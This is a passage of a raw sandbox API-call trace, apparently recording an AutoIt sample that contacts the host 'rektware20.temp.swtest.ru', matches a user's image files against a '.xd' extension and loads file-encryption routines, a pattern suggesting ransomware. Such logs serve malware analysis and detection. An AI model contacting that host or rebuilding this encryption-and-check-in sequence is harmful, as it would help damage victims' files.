wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0063.022] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0063.022] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0063.022] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0063.022] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0063.023] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620e38, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620e38, lpdwBufferLength=0x130ef8c) returned 1 [0063.023] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0063.023] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0063.023] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0063.024] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0063.024] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0063.024] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0063.024] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629190, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629190*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0063.024] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629130, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629130*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0063.024] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0063.024] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0063.024] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0063.024] CloseHandle (hObject=0x0) returned 0 [0063.024] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\E2n7ntspZkb\\Vjziuan4gvbixp.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.024] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Pictures\\E2n7ntspZkb\\Vjziuan4gvbixp.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.025] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Pictures\\E2n7ntspZkb\\Vjziuan4gvbixp.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.025] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Pictures\\E2n7ntspZkb\\Vjziuan4gvbixp.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.025] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Pictures\\E2n7ntspZkb\\Vjziuan4gvbixp.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.025] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Pictures\\E2n7ntspZkb\\Vjziuan4gvbixp.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.025] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Pictures\\E2n7ntspZkb\\Vjziuan4gvbixp.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.025] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Pictures\\E2n7ntspZkb\\Vjziuan4gvbixp.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.025] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Pictures\\E2n7ntspZkb\\Vjziuan4gvbixp.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.025] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Pictures\\E2n7ntspZkb\\Vjziuan4gvbixp.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.025] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Pictures\\E2n7ntspZkb\\Vjziuan4gvbixp.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.025] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Pictures\\E2n7ntspZkb\\Vjziuan4gvbixp.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.025] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Pictures\\E2n7ntspZkb\\Vjziuan4gvbixp.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.025] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Pictures\\E2n7ntspZkb\\Vjziuan4gvbixp.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.025] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Pictures\\E2n7ntspZkb\\Vjziuan4gvbixp.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.025] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Pictures\\E2n7ntspZkb\\Vjziuan4gvbixp.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.025] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Pictures\\E2n7ntspZkb\\Vjziuan4gvbixp.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.025] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Pictures\\E2n7ntspZkb\\Vjziuan4gvbixp.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.025] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Pictures\\E2n7ntspZkb\\Vjziuan4gvbixp.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.025] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Pictures\\E2n7ntspZkb\\Vjziuan4gvbixp.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.025] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Pictures\\E2n7ntspZkb\\Vjziuan4gvbixp.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.025] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Pictures\\E2n7ntspZkb\\Vjziuan4gvbixp.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.025] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Pictures\\E2n7ntspZkb\\Vjziuan4gvbixp.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.025] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ictures\\E2n7ntspZkb\\Vjziuan4gvbixp.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.025] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ctures\\E2n7ntspZkb\\Vjziuan4gvbixp.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.025] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tures\\E2n7ntspZkb\\Vjziuan4gvbixp.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.025] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ures\\E2n7ntspZkb\\Vjziuan4gvbixp.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.025] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="res\\E2n7ntspZkb\\Vjziuan4gvbixp.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.025] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="es\\E2n7ntspZkb\\Vjziuan4gvbixp.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.025] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\E2n7ntspZkb\\Vjziuan4gvbixp.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.025] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\E2n7ntspZkb\\Vjziuan4gvbixp.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.025] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="E2n7ntspZkb\\Vjziuan4gvbixp.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.025] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2n7ntspZkb\\Vjziuan4gvbixp.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.025] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n7ntspZkb\\Vjziuan4gvbixp.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.025] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="7ntspZkb\\Vjziuan4gvbixp.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.026] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ntspZkb\\Vjziuan4gvbixp.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.026] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tspZkb\\Vjziuan4gvbixp.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.026] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="spZkb\\Vjziuan4gvbixp.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.026] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="pZkb\\Vjziuan4gvbixp.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.026] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Zkb\\Vjziuan4gvbixp.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.026] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="kb\\Vjziuan4gvbixp.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.026] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="b\\Vjziuan4gvbixp.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.026] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Vjziuan4gvbixp.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.026] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Vjziuan4gvbixp.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.026] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jziuan4gvbixp.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.026] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ziuan4gvbixp.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.026] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iuan4gvbixp.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.026] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="uan4gvbixp.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.026] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="an4gvbixp.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.026] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n4gvbixp.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.026] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="4gvbixp.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.026] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="gvbixp.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.026] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="vbixp.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.026] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="bixp.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.026] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ixp.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.026] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xp.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.026] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="p.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.026] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0063.026] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0063.026] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0063.026] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0063.026] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0063.026] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0063.027] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0063.027] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0063.027] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0063.027] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0063.027] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620da8, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620da8, lpdwBufferLength=0x130ee1c) returned 1 [0063.027] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0063.027] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0063.027] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0063.027] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0063.027] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0063.027] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0063.027] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629150, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629150*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0063.028] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629360, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629360*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0063.028] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0063.028] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0063.028] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0063.028] CloseHandle (hObject=0x0) returned 0 [0063.028] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.028] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\E2n7ntspZkb\\Vjziuan4gvbixp.png", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0063.028] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0063.028] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.029] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0063.029] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.029] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0063.029] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0063.029] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.029] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0063.029] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.029] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.029] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0063.029] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.029] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.029] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.029] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.029] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.029] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0063.029] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0063.030] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0063.030] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0063.030] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0063.030] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0063.030] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e1b0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0063.030] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0063.030] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aac48) returned 1 [0063.039] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.039] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.039] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0063.039] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.039] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.039] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.039] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.039] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.039] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0063.039] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.039] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0063.039] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0063.039] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.039] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.039] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0063.039] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0063.039] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.039] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.040] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0063.040] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.040] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0063.040] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0063.040] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.040] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.040] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0063.040] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0063.040] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0063.040] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0063.040] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.040] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0063.040] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0063.040] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, 